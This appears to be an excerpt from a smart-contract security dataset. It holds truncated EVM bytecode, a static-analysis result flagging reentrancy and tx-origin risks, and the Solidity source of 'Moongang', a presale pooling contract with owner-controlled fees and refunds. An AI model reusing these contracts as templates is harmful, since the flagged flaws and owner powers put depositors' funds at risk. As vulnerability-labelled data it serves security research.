b5b600082013567ffffffffffffffff8111156130505761304f613b48565b5b61305c84828501612d6b565b91505092915050565b60006020828403121561307b5761307a613b4d565b5b600061308984828501612def565b91505092915050565b6000602082840312156130a8576130a7613b4d565b5b60006130b684828501612e04565b91505092915050565b600080604083850312156130d6576130d5613b4d565b5b60006130e485828601612e04565b92505060206130f585828601612e04565b9150509250929050565b60008060006060848603121561311857613117613b4d565b5b600061312686828701612e19565b935050602061313786828701612e19565b925050604061314886828701612e19565b9150509250925092565b600061315e838361316a565b60208301905092915050565b61317381613933565b82525050565b61318281613933565b82525050565b6000613193826137d9565b61319d81856137fc565b93506131a8836137c9565b8060005b838110156131d95781516131c08882613152565b97506131cb836137ef565b9250506001810190506131ac565b5085935050505092915050565b6131ef81613945565b82525050565b6131fe81613988565b82525050565b61320d8161399a565b82525050565b600061321e826137e4565b613228818561380d565b93506132388185602086016139d0565b61324181613b52565b840191505092915050565b600061325960238361380d565b915061326482613b63565b604082019050919050565b600061327c601c8361380d565b915061328782613bb2565b602082019050919050565b600061329f60268361380d565b91506132aa82613bdb565b604082019050919050565b60006132c260228361380d565b91506132cd82613c2a565b604082019050919050565b60006132e560238361380d565b91506132f082613c79565b604082019050919050565b6000613308601e8361380d565b915061331382613cc8565b602082019050919050565b600061332b601b8361380d565b915061333682613cf1565b602082019050919050565b600061334e60268361380d565b915061335982613d1a565b604082019050919050565b600061337160218361380d565b915061337c82613d69565b604082019050919050565b600061339460208361380d565b915061339f82613db8565b602082019050919050565b60006133b760298361380d565b91506133c282613de1565b604082019050919050565b60006133da60258361380d565b91506133e582613e30565b604082019050919050565b60006133fd60238361380d565b915061340882613e7f565b604082019050919050565b600061342060248361380d565b915061342b82613ece565b604082019050919050565b61343f81613971565b82525050565b61344e8161397b565b82525050565b60006020820190506134696000830184613179565b92915050565b600060c0820190506134846000830189613179565b6134916020830188613436565b61349e6040830187613204565b6134ab6060830186613204565b6134b86080830185613179565b6134c560a0830184613436565b979650505050505050565b60006020820190506134e560008301846131e6565b92915050565b600060208201905061350060008301846131f5565b92915050565b600060208201905081810360008301526135208184613213565b905092915050565b600060208201905081810360008301526135418161324c565b9050919050565b600060208201905081810360008301526135618161326f565b9050919050565b6000602082019050818103600083015261358181613292565b9050919050565b600060208201905081810360008301526135a1816132b5565b9050919050565b600060208201905081810360008301526135c1816132d8565b9050919050565b600060208201905081810360008301526135e1816132fb565b9050919050565b600060208201905081810360008301526136018161331e565b9050919050565b6000602082019050818103600083015261362181613341565b9050919050565b6000602082019050818103600083015261364181613364565b9050919050565b6000602082019050818103600083015261366181613387565b9050919050565b60006020820190508181036000830152613681816133aa565b9050919050565b600060208201905081810360008301526136a1816133cd565b9050919050565b600060208201905081810360008301526136c1816133f0565b9050919050565b600060208201905081810360008301526136e181613413565b9050919050565b60006020820190506136fd6000830184613436565b92915050565b600060a0820190506137186000830188613436565b6137256020830187613204565b81810360408301526137378186613188565b90506137466060830185613179565b6137536080830184613436565b9695505050505050565b60006020820190506137726000830184613445565b92915050565b6000613782613793565b905061378e8282613a03565b919050565b6000604051905090565b600067ffffffffffffffff8211156137b8576137b7613b0a565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061382982613971565b915061383483613971565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561386957613868613a7d565b5b828201905092915050565b600061387f82613971565b915061388a83613971565b92508261389a57613899613aac565b5b828204905092915050565b60006138b082613971565b91506138bb83613971565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156138f4576138f3613a7d565b5b828202905092915050565b600061390a82613971565b915061391583613971565b92508282101561392857613927613a7d565b5b828203905092915050565b600061393e82613951565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613993826139ac565b9050919050565b60006139a582613971565b9050919050565b60006139b7826139be565b9050919050565b60006139c982613951565b9050919050565b60005b838110156139ee5780820151818401526020810190506139d3565b838111156139fd576000848401525b50505050565b613a0c82613b52565b810181811067ffffffffffffffff82111715613a2b57613a2a613b0a565b5b80604052505050565b6000613a3f82613971565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a7257613a71613a7d565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054726164696e67206e6f742079657420737461727465640000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f544f4b454e3a2033206d696e7574657320636f6f6c646f776e2062657477656560008201527f6e20627579730000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613f2681613933565b8114613f3157600080fd5b50565b613f3d81613945565b8114613f4857600080fd5b50565b613f5481613971565b8114613f5f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220149a7936cbe86420799a97d46c25dc7f592af89390f7afb04350f18d0a05717f64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 9,459 |
0xc09806819953a8f763429fce06ed2cb0b4422a9f
|
// Author : shift
pragma solidity ^0.4.18;
//--------- OpenZeppelin's Safe Math
//Source : https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
//-----------------------------------------------------
// ERC20 Interface: https://github.com/ethereum/EIPs/issues/20
contract ERC20 {
function transfer(address _to, uint256 _value) public returns (bool success);
function balanceOf(address _owner) public constant returns (uint256 balance);
}
/*
This contract stores twice every key value in order to be able to redistribute funds
when the bonus tokens are received (which is typically X months after the initial buy).
*/
contract Moongang {
using SafeMath for uint256;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier minAmountReached {
//In reality, the correct amount is the amount + 1%
require(this.balance >= SafeMath.div(SafeMath.mul(min_amount, 100), 99));
_;
}
modifier underMaxAmount {
require(max_amount == 0 || this.balance <= max_amount);
_;
}
//Constants of the contract
uint256 constant FEE = 100; //1% fee
//SafeMath.div(20, 3) = 6
uint256 constant FEE_DEV = 6; //15% on the 1% fee
uint256 constant FEE_AUDIT = 12; //7.5% on the 1% fee
address public owner;
address constant public developer = 0xEE06BdDafFA56a303718DE53A5bc347EfbE4C68f;
address constant public auditor = 0x63F7547Ac277ea0B52A0B060Be6af8C5904953aa;
uint256 public individual_cap;
//Variables subject to changes
uint256 public max_amount; //0 means there is no limit
uint256 public min_amount;
//Store the amount of ETH deposited by each account.
mapping (address => uint256) public balances;
mapping (address => uint256) public balances_bonus;
// Track whether the contract has bought the tokens yet.
bool public bought_tokens;
// Record ETH value of tokens currently held by contract.
uint256 public contract_eth_value;
uint256 public contract_eth_value_bonus;
//Set by the owner in order to allow the withdrawal of bonus tokens.
bool public bonus_received;
//The address of the contact.
address public sale;
//Token address
ERC20 public token;
//Records the fees that have to be sent
uint256 fees;
//Set by the owner. Allows people to refund totally or partially.
bool public allow_refunds;
//The reduction of the allocation in % | example : 40 -> 40% reduction
uint256 public percent_reduction;
bool public owner_supplied_eth;
bool public allow_contributions;
//Internal functions
function Moongang(uint256 max, uint256 min, uint256 cap) {
/*
Constructor
*/
owner = msg.sender;
max_amount = SafeMath.div(SafeMath.mul(max, 100), 99);
min_amount = min;
individual_cap = cap;
allow_contributions = true;
}
//Functions for the owner
// Buy the tokens. Sends ETH to the presale wallet and records the ETH amount held in the contract.
function buy_the_tokens() onlyOwner minAmountReached underMaxAmount {
//Avoids burning the funds
require(!bought_tokens && sale != 0x0);
//Record that the contract has bought the tokens.
bought_tokens = true;
//Sends the fee before so the contract_eth_value contains the correct balance
uint256 dev_fee = SafeMath.div(fees, FEE_DEV);
uint256 audit_fee = SafeMath.div(fees, FEE_AUDIT);
owner.transfer(SafeMath.sub(SafeMath.sub(fees, dev_fee), audit_fee));
developer.transfer(dev_fee);
auditor.transfer(audit_fee);
//Record the amount of ETH sent as the contract's current value.
contract_eth_value = this.balance;
contract_eth_value_bonus = this.balance;
// Transfer all the funds to the crowdsale address.
sale.transfer(contract_eth_value);
}
function force_refund(address _to_refund) onlyOwner {
require(!bought_tokens);
uint256 eth_to_withdraw = SafeMath.div(SafeMath.mul(balances[_to_refund], 100), 99);
balances[_to_refund] = 0;
balances_bonus[_to_refund] = 0;
fees = SafeMath.sub(fees, SafeMath.div(eth_to_withdraw, FEE));
_to_refund.transfer(eth_to_withdraw);
}
function force_partial_refund(address _to_refund) onlyOwner {
require(bought_tokens && percent_reduction > 0);
//Amount to refund is the amount minus the X% of the reduction
//amount_to_refund = balance*X
uint256 amount = SafeMath.div(SafeMath.mul(balances[_to_refund], percent_reduction), 100);
balances[_to_refund] = SafeMath.sub(balances[_to_refund], amount);
balances_bonus[_to_refund] = balances[_to_refund];
if (owner_supplied_eth) {
//dev fees aren't refunded, only owner fees
uint256 fee = amount.div(FEE).mul(percent_reduction).div(100);
amount = amount.add(fee);
}
_to_refund.transfer(amount);
}
function set_sale_address(address _sale) onlyOwner {
//Avoid mistake of putting 0x0 and can't change twice the sale address
require(_sale != 0x0);
sale = _sale;
}
function set_token_address(address _token) onlyOwner {
require(_token != 0x0);
token = ERC20(_token);
}
function set_bonus_received(bool _boolean) onlyOwner {
bonus_received = _boolean;
}
function set_allow_refunds(bool _boolean) onlyOwner {
/*
In case, for some reasons, the project refunds the money
*/
allow_refunds = _boolean;
}
function set_allow_contributions(bool _boolean) onlyOwner {
allow_contributions = _boolean;
}
function set_percent_reduction(uint256 _reduction) onlyOwner payable {
require(bought_tokens && _reduction <= 100);
percent_reduction = _reduction;
if (msg.value > 0) {
owner_supplied_eth = true;
}
//we substract by contract_eth_value*_reduction basically
contract_eth_value = contract_eth_value.sub((contract_eth_value.mul(_reduction)).div(100));
contract_eth_value_bonus = contract_eth_value;
}
function change_individual_cap(uint256 _cap) onlyOwner {
individual_cap = _cap;
}
function change_owner(address new_owner) onlyOwner {
require(new_owner != 0x0);
owner = new_owner;
}
function change_max_amount(uint256 _amount) onlyOwner {
//ATTENTION! The new amount should be in wei
//Use https://etherconverter.online/
max_amount = SafeMath.div(SafeMath.mul(_amount, 100), 99);
}
function change_min_amount(uint256 _amount) onlyOwner {
//ATTENTION! The new amount should be in wei
//Use https://etherconverter.online/
min_amount = _amount;
}
//Public functions
// Allows any user to withdraw his tokens.
function withdraw() {
// Disallow withdraw if tokens haven't been bought yet.
require(bought_tokens);
uint256 contract_token_balance = token.balanceOf(address(this));
// Disallow token withdrawals if there are no tokens to withdraw.
require(contract_token_balance != 0);
uint256 tokens_to_withdraw = SafeMath.div(SafeMath.mul(balances[msg.sender], contract_token_balance), contract_eth_value);
// Update the value of tokens currently held by the contract.
contract_eth_value = SafeMath.sub(contract_eth_value, balances[msg.sender]);
// Update the user's balance prior to sending to prevent recursive call.
balances[msg.sender] = 0;
// Send the funds. Throws on failure to prevent loss of funds.
require(token.transfer(msg.sender, tokens_to_withdraw));
}
function withdraw_bonus() {
/*
Special function to withdraw the bonus tokens after the 6 months lockup.
bonus_received has to be set to true.
*/
require(bought_tokens && bonus_received);
uint256 contract_token_balance = token.balanceOf(address(this));
require(contract_token_balance != 0);
uint256 tokens_to_withdraw = SafeMath.div(SafeMath.mul(balances_bonus[msg.sender], contract_token_balance), contract_eth_value_bonus);
contract_eth_value_bonus = SafeMath.sub(contract_eth_value_bonus, balances_bonus[msg.sender]);
balances_bonus[msg.sender] = 0;
require(token.transfer(msg.sender, tokens_to_withdraw));
}
// Allows any user to get his eth refunded before the purchase is made.
function refund() {
require(!bought_tokens && allow_refunds && percent_reduction == 0);
//balance of contributor = contribution * 0.99
//so contribution = balance/0.99
uint256 eth_to_withdraw = SafeMath.div(SafeMath.mul(balances[msg.sender], 100), 99);
// Update the user's balance prior to sending ETH to prevent recursive call.
balances[msg.sender] = 0;
//Updates the balances_bonus too
balances_bonus[msg.sender] = 0;
//Updates the fees variable by substracting the refunded fee
fees = SafeMath.sub(fees, SafeMath.div(eth_to_withdraw, FEE));
// Return the user's funds. Throws on failure to prevent loss of funds.
msg.sender.transfer(eth_to_withdraw);
}
//Allows any user to get a part of his ETH refunded, in proportion
//to the % reduced of the allocation
function partial_refund() {
require(bought_tokens && percent_reduction > 0);
//Amount to refund is the amount minus the X% of the reduction
//amount_to_refund = balance*X
uint256 amount = SafeMath.div(SafeMath.mul(balances[msg.sender], percent_reduction), 100);
balances[msg.sender] = SafeMath.sub(balances[msg.sender], amount);
balances_bonus[msg.sender] = balances[msg.sender];
if (owner_supplied_eth) {
//dev fees aren't refunded, only owner fees
uint256 fee = amount.div(FEE).mul(percent_reduction).div(100);
amount = amount.add(fee);
}
msg.sender.transfer(amount);
}
// Default function. Called when a user sends ETH to the contract.
function () payable underMaxAmount {
require(!bought_tokens && allow_contributions);
//1% fee is taken on the ETH
uint256 fee = SafeMath.div(msg.value, FEE);
fees = SafeMath.add(fees, fee);
//Updates both of the balances
balances[msg.sender] = SafeMath.add(balances[msg.sender], SafeMath.sub(msg.value, fee));
//Checks if the individual cap is respected
//If it's not, changes are reverted
require(individual_cap == 0 || balances[msg.sender] <= individual_cap);
balances_bonus[msg.sender] = balances[msg.sender];
}
}
|
0x6080604052600436106101b7576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630107a8df146103b857806303b918dc146103cf578063111485ef146103fe57806318af7021146104295780631a34fe811461046c5780631e4532f114610497578063223db315146104ee578063253c8bd41461051d57806327e235e31461056057806328b8e9cf146105b757806329d98a7b146105ce5780632fbfe951146105fb578063346f2eb714610628578063398f2648146106575780633ccfd60b146106845780633ec045a61461069b57806342263aa2146106f2578063590e1ae3146107355780636360fc3f1461074c578063666375e51461077b578063678f7033146107aa578063689f2456146107ca5780636954abee146107e15780636ad1fe02146108105780637036f9d91461086757806372a85604146108aa5780638d521149146108d55780638da5cb5b14610904578063a8644cd51461095b578063c34dd14114610986578063c42bb1e4146109b1578063ca4b208b146109dc578063ebc56eec14610a33578063f2bee03d14610a62578063fc0c546a14610aa5575b60008060025414806101e257506002543073ffffffffffffffffffffffffffffffffffffffff163111155b15156101ed57600080fd5b600660009054906101000a900460ff161580156102165750600e60019054906101000a900460ff165b151561022157600080fd5b61022c346064610afc565b905061023a600b5482610b17565b600b81905550610292600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461028d3484610b35565b610b17565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600060015414806103275750600154600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411155b151561033257600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050005b3480156103c457600080fd5b506103cd610b4e565b005b3480156103db57600080fd5b506103e4610e89565b604051808215151515815260200191505060405180910390f35b34801561040a57600080fd5b50610413610e9c565b6040518082815260200191505060405180910390f35b34801561043557600080fd5b5061046a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ea2565b005b34801561047857600080fd5b50610481611062565b6040518082815260200191505060405180910390f35b3480156104a357600080fd5b506104d8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b3480156104fa57600080fd5b50610503611080565b604051808215151515815260200191505060405180910390f35b34801561052957600080fd5b5061055e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611093565b005b34801561056c57600080fd5b506105a1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611157565b6040518082815260200191505060405180910390f35b3480156105c357600080fd5b506105cc61116f565b005b3480156105da57600080fd5b506105f9600480360381019080803590602001909291905050506114b5565b005b34801561060757600080fd5b506106266004803603810190808035906020019092919050505061151a565b005b34801561063457600080fd5b5061065560048036038101908080351515906020019092919050505061157f565b005b34801561066357600080fd5b50610682600480360381019080803590602001909291905050506115f7565b005b34801561069057600080fd5b50610699611670565b005b3480156106a757600080fd5b506106b0611993565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106fe57600080fd5b50610733600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119ab565b005b34801561074157600080fd5b5061074a611a70565b005b34801561075857600080fd5b50610761611bfa565b604051808215151515815260200191505060405180910390f35b34801561078757600080fd5b506107a8600480360381019080803515159060200190929190505050611c0d565b005b6107c860048036038101908080359060200190929190505050611c85565b005b3480156107d657600080fd5b506107df611d82565b005b3480156107ed57600080fd5b506107f6611fc7565b604051808215151515815260200191505060405180910390f35b34801561081c57600080fd5b50610825611fda565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561087357600080fd5b506108a8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612000565b005b3480156108b657600080fd5b506108bf6122a1565b6040518082815260200191505060405180910390f35b3480156108e157600080fd5b506108ea6122a7565b604051808215151515815260200191505060405180910390f35b34801561091057600080fd5b506109196122ba565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561096757600080fd5b506109706122df565b6040518082815260200191505060405180910390f35b34801561099257600080fd5b5061099b6122e5565b6040518082815260200191505060405180910390f35b3480156109bd57600080fd5b506109c66122eb565b6040518082815260200191505060405180910390f35b3480156109e857600080fd5b506109f16122f1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610a3f57600080fd5b50610a60600480360381019080803515159060200190929190505050612309565b005b348015610a6e57600080fd5b50610aa3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612381565b005b348015610ab157600080fd5b50610aba612446565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000808284811515610b0a57fe5b0490508091505092915050565b6000808284019050838110151515610b2b57fe5b8091505092915050565b6000828211151515610b4357fe5b818303905092915050565b600080600660009054906101000a900460ff168015610b795750600960009054906101000a900460ff165b1515610b8457600080fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015610c4157600080fd5b505af1158015610c55573d6000803e3d6000fd5b505050506040513d6020811015610c6b57600080fd5b8101908080519060200190929190505050915060008214151515610c8e57600080fd5b610ce2610cda600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461246c565b600854610afc565b9050610d2f600854600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b35565b6008819055506000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610e3f57600080fd5b505af1158015610e53573d6000803e3d6000fd5b505050506040513d6020811015610e6957600080fd5b81019080805190602001909291905050501515610e8557600080fd5b5050565b600e60019054906101000a900460ff1681565b60015481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610eff57600080fd5b600660009054906101000a900460ff16151515610f1b57600080fd5b610f6f610f68600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054606461246c565b6063610afc565b90506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611011600b5461100c836064610afc565b610b35565b600b819055508173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561105d573d6000803e3d6000fd5b505050565b60025481565b60056020528060005260406000206000915090505481565b600c60009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110ee57600080fd5b60008173ffffffffffffffffffffffffffffffffffffffff161415151561111457600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60046020528060005260406000206000915090505481565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111cd57600080fd5b6111e46111dd600354606461246c565b6063610afc565b3073ffffffffffffffffffffffffffffffffffffffff16311015151561120957600080fd5b6000600254148061123357506002543073ffffffffffffffffffffffffffffffffffffffff163111155b151561123e57600080fd5b600660009054906101000a900460ff1615801561129457506000600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b151561129f57600080fd5b6001600660006101000a81548160ff0219169083151502179055506112c7600b546006610afc565b91506112d6600b54600c610afc565b90506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611328611322600b5486610b35565b84610b35565b9081150290604051600060405180830381858888f19350505050158015611353573d6000803e3d6000fd5b5073ee06bddaffa56a303718de53a5bc347efbe4c68f73ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501580156113ae573d6000803e3d6000fd5b507363f7547ac277ea0b52a0b060be6af8c5904953aa73ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611409573d6000803e3d6000fd5b503073ffffffffffffffffffffffffffffffffffffffff16316007819055503073ffffffffffffffffffffffffffffffffffffffff1631600881905550600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6007549081150290604051600060405180830381858888f193505050501580156114b0573d6000803e3d6000fd5b505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561151057600080fd5b8060018190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561157557600080fd5b8060038190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156115da57600080fd5b80600960006101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561165257600080fd5b61166761166082606461246c565b6063610afc565b60028190555050565b600080600660009054906101000a900460ff16151561168e57600080fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561174b57600080fd5b505af115801561175f573d6000803e3d6000fd5b505050506040513d602081101561177557600080fd5b810190808051906020019092919050505091506000821415151561179857600080fd5b6117ec6117e4600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461246c565b600754610afc565b9050611839600754600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b35565b6007819055506000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561194957600080fd5b505af115801561195d573d6000803e3d6000fd5b505050506040513d602081101561197357600080fd5b8101908080519060200190929190505050151561198f57600080fd5b5050565b7363f7547ac277ea0b52a0b060be6af8c5904953aa81565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a0657600080fd5b60008173ffffffffffffffffffffffffffffffffffffffff1614151515611a2c57600080fd5b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600660009054906101000a900460ff16158015611a9b5750600c60009054906101000a900460ff165b8015611aa957506000600d54145b1515611ab457600080fd5b611b08611b01600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054606461246c565b6063610afc565b90506000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611baa600b54611ba5836064610afc565b610b35565b600b819055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611bf6573d6000803e3d6000fd5b5050565b600660009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c6857600080fd5b80600e60016101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ce057600080fd5b600660009054906101000a900460ff168015611cfd575060648111155b1515611d0857600080fd5b80600d819055506000341115611d34576001600e60006101000a81548160ff0219169083151502179055505b611d70611d5f6064611d518460075461246c90919063ffffffff16565b610afc90919063ffffffff16565b600754610b3590919063ffffffff16565b60078190555060075460088190555050565b600080600660009054906101000a900460ff168015611da357506000600d54115b1515611dae57600080fd5b611e03611dfc600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600d5461246c565b6064610afc565b9150611e4e600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b35565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600460003373ffffffffffffffffffffffffffff